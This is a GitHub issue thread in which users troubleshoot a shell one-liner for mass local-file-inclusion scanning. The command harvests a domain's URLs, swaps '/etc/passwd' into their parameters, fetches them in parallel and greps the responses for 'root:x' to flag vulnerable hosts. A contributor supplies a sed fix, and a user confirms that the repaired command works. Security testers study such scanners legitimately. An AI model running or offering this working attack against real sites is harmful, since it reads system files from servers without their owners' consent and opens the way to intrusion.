Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

show #8

Open
Fawadkhanfk opened this issue Aug 21, 2020 · 8 comments
Open

show #8

Fawadkhanfk opened this issue Aug 21, 2020 · 8 comments
Labels
question Further information is requested

Comments

@Fawadkhanfk
Copy link

xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

@dwisiswant0
Copy link
Owner

Hi @Fawadkhanfk,

Thanks for raising issue.
But I need more context details, which command you used?

@dwisiswant0 dwisiswant0 added the question Further information is requested label Aug 25, 2020
@7RUST
Copy link

7RUST commented Aug 30, 2020

xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

I used a lfi one-liner. The exact command and error output is given below

root@kali-linux-vm:~# gau example.com | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

@7RUST
Copy link

7RUST commented Aug 30, 2020

my guess over this issue is the quote between -c 'curl. Please correct me if I am wrong on this

@R0X4R
Copy link
Contributor

R0X4R commented Jun 27, 2021

xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

Use after gf patterns sed "s/'/ /g" | sed "s/(/ /g" | sed "s/)/ /g" this will remove unwanted quotes and bracket which are throwing the error

@Dadichi008
Copy link

Is this issue rectified ? I followed LFI command as mentioned but getting the error :

gau example.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

@R0X4R
Copy link
Contributor

R0X4R commented Jun 26, 2022

Hey @Dadichi008,

Is this issue rectified ? I followed LFI command as mentioned but getting the error :

gau example.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option

Use

gau example.com | gf lfi | qsreplace "/etc/passwd" | sed "s/'\|(\|)//g" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x:0" && echo "VULN! %"'

@Dadichi008
Copy link

Wow this is so quick, thanks alot @R0X4R Let me check and confirm if it is working or not.

@Dadichi008
Copy link

You are an absolute gem @R0X4R its working. 👍

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
question Further information is requested
Projects
None yet
Development

No branches or pull requests

5 participants